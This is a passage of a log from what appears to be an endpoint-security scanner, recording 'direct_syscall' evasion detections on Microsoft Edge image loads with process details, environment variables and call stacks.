EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffcde9e701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcdea54294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffcde9f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6996 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea2d7d3 C:\Windows\System32\ntdll.dll!RtlGuardCheckLongJumpTarget|0x7ffcdea2b94d C:\Windows\System32\ntdll.dll!LdrResolveDelayLoadedAPI|0x7ffcdd351b92 C:\Windows\System32\msctf.dll!TF_GetThreadFlags|0x7ffcdd37fce0 C:\Windows\System32\msctf.dll!CtfImeToAsciiEx|0x7ffcdd31af93 C:\Windows\System32\msctf.dll!TF_CanUninitialize|0x7ffc8f138a28 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8f12a4be C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8cec37c6 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec2704 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec1a6b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec0b46 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceaea2f C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceae2af C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceada86 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cead471 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ff7cf770137 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf76cfb6 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf81ce32 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:21+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4182501 + Pid: 7364 + Tid: 19332 + Type: LoadImage + CPU: 4 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:14.348283 +0100 CET + Params: base_address➜ 7ffcbb360000, checksum➜ 1281071, default_address➜ 7ffcbb360000, file_path➜ C:\Windows\System32\Windows.Storage.Search.dll, image_size➜ 1265664, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffcde9e701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcdea54294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffcde9f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea1fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffcdbb6d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffcdd647a6d C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffcdd64759f C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffcdd7cb8a2 C:\Windows\System32\combase.dll!Ordinal225|0x7ffcdd7ccc5c C:\Windows\System32\combase.dll!Ordinal225|0x7ffcdd7ccd65 C:\Windows\System32\combase.dll!Ordinal225|0x7ffcdd767dc3 C:\Windows\System32\combase.dll!CoRegisterClassObject|0x7ffcdd68200d C:\Windows\System32\combase.dll!StringFromCLSID|0x7ffcdd7679fc C:\Windows\System32\combase.dll!CoRegisterClassObject|0x7ffcdd7270a7 C:\Windows\System32\combase.dll!Ordinal178|0x7ffcdd72695d C:\Windows\System32\combase.dll!Ordinal232|0x7ffcdd767181 C:\Windows\System32\combase.dll!CoRegisterClassObject|0x7ffcdd681e9e C:\Windows\System32\combase.dll!StringFromCLSID|0x7ffcdd68200d C:\Windows\System32\combase.dll!StringFromCLSID|0x7ffcdd680b6e C:\Windows\System32\combase.dll!StringFromCLSID|0x7ffcdd68200d C:\Windows\System32\combase.dll!StringFromCLSID|0x7ffcdd7c836f C:\Windows\System32\combase.dll!CoGetInstanceFromIStorage|0x7ffcdd7c2d12 C:\Windows\System32\combase.dll!Ordinal146|0x7ffcdd70bb3b C:\Windows\System32\combase.dll!CoCreateInstanceEx|0x7ffcdd70b91b C:\Windows\System32\combase.dll!CoCreateInstance|0x7ffcd986d1f7 C:\Windows\System32\windows.storage.dll!Ordinal788|0x7ffcd986c129 C:\Windows\System32\windows.storage.dll!Ordinal788|0x7ffcd986bc6c C:\Windows\System32\windows.storage.dll!Ordinal788|0x7ffcd986ba4c C:\Windows\System32\windows.storage.dll!Ordinal788|0x7ffcd986bb0a C:\Windows\System32\windows.storage.dll!Ordinal788|0x7ffcd986b660 C:\Windows\System32\windows.storage.dll!Ordinal788|0x7ffcd986baa0 C:\Windows\System32\windows.storage.dll!Ordinal788|0x7ffcd986b871 C:\Windows\System32\windows.storage.dll!Ordinal788|0x7ffcd986bac3 C:\Windows\System32\windows.storage.dll!Ordinal788|0x7ffcd986b660 C:\Windows\System32\windows.storage.dll!Ordinal788|0x7ffcd986baa0 C:\Windows\System32\windows.storage.dll!Ordinal788|0x7ffcd986b4c2 C:\Windows\System32\windows.storage.dll!Ordinal788|0x7ffcd986aacc C:\Windows\System32\windows.storage.dll!Ordinal791|0x7ffcd99bb259 C:\Windows\System32\windows.storage.dll!Global_WindowsStorage_esServerMode|0x7ffcd99bb1dc C:\Windows\System32\windows.storage.dll!Global_WindowsStorage_esServerMode|0x7ffcd98ad57d C:\Windows\System32\windows.storage.dll!Ordinal847|0x7ffcd98adc6e C:\Windows\System32\windows.storage.dll!Ordinal847|0x7ffcd98979d7 C:\Windows\System32\windows.storage.dll!CreateItemFromLink|0x7ffcd9ac7513 C:\Windows\System32\windows.storage.dll!Ordinal844|0x7ffcd9afea83 C:\Windows\System32\windows.storage.dll!AssocCreateListForClasses|0x7ffcd99a8a24 C:\Windows\System32\windows.storage.dll!STORAGE_SHGetDesktopFolderWorker|0x7ffcdda4ab76 C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffcdda4a8aa C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffcdda49c47 C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:21+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4182923 + Pid: 7364 + Tid: 18496 + Type: LoadImage + CPU: 3 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:14.5043625 +0100 CET + Params: base_address➜ 7ffcc9740000, checksum➜ 1414164, default_address➜ 7ffcc9740000, file_path➜ C:\Windows\System32\Windows.UI.dll, image_size➜ 1376256, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffcde9e701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcdea54294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffcde9f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea1fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffcdbb6d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffcdd647a6d C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffcdd64759f C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffcdd6644fe C:\Windows\System32\combase.dll!WindowsDeleteString|0x7ffcdd7cd25a C:\Windows\System32\combase.dll!Ordinal225|0x7ffcdd61923c C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffcdd618af7 C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffcdd61966a C:\Windows\System32\combase.dll!CLSIDFromProgID|0x7ffcdd61a6c9 C:\Windows\System32\combase.dll!RoActivateInstance|0x7ffc8f3bcc19 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8f3bcae6 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8f3bca14 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8f3ae528 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8f6fed29 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!RelaunchChromeBrowserWithNewCommandLineIfNeeded|0x7ffc8f6febe1 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!RelaunchChromeBrowserWithNewCommandLineIfNeeded|0x7ffc8f6fe9fb C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!RelaunchChromeBrowserWithNewCommandLineIfNeeded|0x7ffc8f6fe957 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!RelaunchChromeBrowserWithNewCommandLineIfNeeded|0x7ffc8f6fe8f6 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!RelaunchChromeBrowserWithNewCommandLineIfNeeded|0x7ffc8f6fe84c C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!RelaunchChromeBrowserWithNewCommandLineIfNeeded|0x7ffc8f538a3c C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8f53895d C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8f34359a C:\Program Files 